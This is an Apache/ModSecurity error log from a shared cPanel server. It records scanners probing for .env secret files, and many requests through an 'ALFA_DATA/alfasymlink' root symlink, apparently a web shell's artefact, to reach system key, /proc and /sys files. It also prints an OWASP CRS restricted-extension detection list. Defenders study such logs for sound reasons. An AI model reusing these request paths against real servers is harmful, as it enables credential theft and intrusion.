[Sun Oct 25 08:01:09.373280 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at3vhdy-_GHm1dX7tKN4PQAAABA"]
[Sun Oct 25 08:01:09.373627 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at3vhdy-_GHm1dX7tKN4PQAAABA"]
[Sun Oct 25 08:01:09.545532 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3vhes4DYbOWQ864oPK1gAAAAk"]
[Sun Oct 25 08:01:09.545774 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3vhes4DYbOWQ864oPK1gAAAAk"]
[Sun Oct 25 08:01:09.546028 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3vhes4DYbOWQ864oPK1gAAAAk"]
[Sun Oct 25 08:01:09.606543 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at3vhdy-_GHm1dX7tKN4PgAAABA"]
[Sun Oct 25 08:01:09.606749 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at3vhdy-_GHm1dX7tKN4PgAAABA"]
[Sun Oct 25 08:01:09.607017 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at3vhdy-_GHm1dX7tKN4PgAAABA"]
[Sun Oct 25 08:01:09.815419 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3vhes4DYbOWQ864oPK1wAAAAk"]
[Sun Oct 25 08:01:09.815700 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3vhes4DYbOWQ864oPK1wAAAAk"]
[Sun Oct 25 08:01:09.816035 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3vhes4DYbOWQ864oPK1wAAAAk"]
[Sun Oct 25 08:01:09.906813 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at3vhdy-_GHm1dX7tKN4PwAAABA"]
[Sun Oct 25 08:01:09.907045 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at3vhdy-_GHm1dX7tKN4PwAAABA"]
[Sun Oct 25 08:01:09.907369 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at3vhdy-_GHm1dX7tKN4PwAAABA"]
[Sun Oct 25 08:01:10.539556 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.210.155.69:35868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:01:22.219176 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.206.193.60:21141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:01:37.257827 2026] [security2:error] [pid 2823283:tid 2823283] [client 216.244.66.250:47144] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "at3voUyngap_XOTN2yDoMQAAAAI"]
[Sun Oct 25 08:01:37.258220 2026] [security2:error] [pid 2823283:tid 2823283] [client 216.244.66.250:47144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "at3voUyngap_XOTN2yDoMQAAAAI"]
[Sun Oct 25 08:01:37.258492 2026] [security2:error] [pid 2823283:tid 2823283] [client 216.244.66.250:47144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "at3voUyngap_XOTN2yDoMQAAAAI"]
[Sun Oct 25 08:01:42.234501 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.195.248.30:55684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:01:46.141591 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 35.171.141.42:14875] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/ohci-pci/bind
[Sun Oct 25 08:01:50.138136 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 18.211.148.239:55615] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:01:54.172519 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 100.25.120.246:16812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:02:02.171315 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 18.214.251.19:41453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/remove
[Sun Oct 25 08:02:06.196375 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.195.60.66:64021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/cache/index3/"] [unique_id "at3vvvWU2HQBncZeY47DFwAAAAQ"]
[Sun Oct 25 08:02:06.196452 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.195.60.66:64021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/cache/index3/"] [unique_id "at3vvvWU2HQBncZeY47DFwAAAAQ"]
[Sun Oct 25 08:02:07.590460 2026] [authz_core:error] [pid 2821699:tid 2821699] [client 216.244.66.250:59392] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sun Oct 25 08:02:18.194543 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.156.248.117:39223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:02:22.203786 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.200.58.199:34046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:02:24.284743 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 185.191.171.2:40402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/objects_partial
[Sun Oct 25 08:02:29.957313 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 85.208.96.194:19892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/store_user
[Sun Oct 25 08:02:34.198104 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.70.123.241:23860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:02:50.158823 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 18.214.238.178:48649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:02:54.649128 2026] [security2:error] [pid 2826774:tid 2826774] [client 130.12.180.167:24260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3v7vWU2HQBncZeY47DGgAAAAQ"]
[Sun Oct 25 08:02:54.649403 2026] [security2:error] [pid 2826774:tid 2826774] [client 130.12.180.167:24260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3v7vWU2HQBncZeY47DGgAAAAQ"]
[Sun Oct 25 08:02:55.378862 2026] [security2:error] [pid 2826774:tid 2826774] [client 130.12.180.167:24260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autoconfig.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at3v7vWU2HQBncZeY47DGgAAAAQ"]
[Sun Oct 25 08:02:58.148098 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.167.32.123:12987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:03:01.536535 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.198:52414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/cpu_slabs
[Sun Oct 25 08:03:18.183817 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.205.170.13:32376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:03:18.184007 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.205.170.13:32376] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/d3cold_allowed"] [unique_id "at3wBvWU2HQBncZeY47DGwAAAAQ"]
[Sun Oct 25 08:03:18.184030 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.205.170.13:32376] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/d3cold_allowed"] [unique_id "at3wBvWU2HQBncZeY47DGwAAAAQ"]
[Sun Oct 25 08:03:26.371359 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.173.18.61:18897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:03:38.140703 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.212.205.90:28330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:03:50.165657 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.0.63.151:36827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:03:58.241112 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 52.200.54.136:37116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input3/device/driver/module/uevent
[Sun Oct 25 08:04:14.084759 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.199:10310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/sections/__param
[Sun Oct 25 08:04:26.182827 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 35.169.102.85:22020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/console/subsystem/ttyS0/device/driver/uevent
[Sun Oct 25 08:04:34.168463 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.235.172.96:53321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:04:54.165242 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 34.205.170.13:55681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/ohci-pci/remove_id
[Sun Oct 25 08:05:02.161215 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 44.218.170.184:24299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:05:06.174078 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 107.22.208.39:35143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event4/subsystem/input3/subsystem/input5/device/driver/pcspkr/driver/uevent
[Sun Oct 25 08:05:14.185784 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 3.208.146.193:45181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:05:34.168972 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.232.102.111:4973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:05:38.870665 2026] [core:crit] [pid 2815606:tid 2815606] (13)Permission denied: [client 152.42.223.125:57499] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 08:05:42.154612 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.211.148.239:14265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:05:50.139627 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.80.73.122:7518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:05:58.268382 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 52.70.209.13:10614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:16.142071 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 185.191.171.7:20596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:18.144813 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.156.55.147:60999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:26.131726 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 3.220.70.171:27005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:30.159997 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 23.21.204.95:53077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:42.132892 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.0.218.219:17307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:46.162432 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.234.197.175:58740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:06:50.131766 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 34.238.45.183:41360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:01/physical_node/remove
[Sun Oct 25 08:06:54.221211 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 3.220.148.166:43038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/battery/bind
[Sun Oct 25 08:07:10.133384 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.225.148.123:18258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:07:14.152204 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.204.152.114:12435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:07:18.139056 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.203.65.83:10565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:07:38.127733 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.213.240.226:29349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:07:40.551002 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.3:41960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/slab_size
[Sun Oct 25 08:07:46.165933 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 3.215.59.93:35076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:07/eject
[Sun Oct 25 08:07:50.220438 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.1.106.130:34834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:08:00.510953 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 185.191.171.7:11228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/trace
[Sun Oct 25 08:08:04.481956 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 185.191.171.11:29502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:08:06.167691 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 98.83.72.38:22428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:08:18.270716 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 23.21.250.48:25859] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/crash_notes_size
[Sun Oct 25 08:08:25.821685 2026] [security2:error] [pid 2823283:tid 2823283] [client 23.136.68.132:60218] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/joomla310/php71/restore.php"] [unique_id "at3xOUyngap_XOTN2yDoQwAAAAI"]
[Sun Oct 25 08:08:25.821720 2026] [security2:error] [pid 2823283:tid 2823283] [client 23.136.68.132:60218] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/joomla310/php71/restore.php"] [unique_id "at3xOUyngap_XOTN2yDoQwAAAAI"]
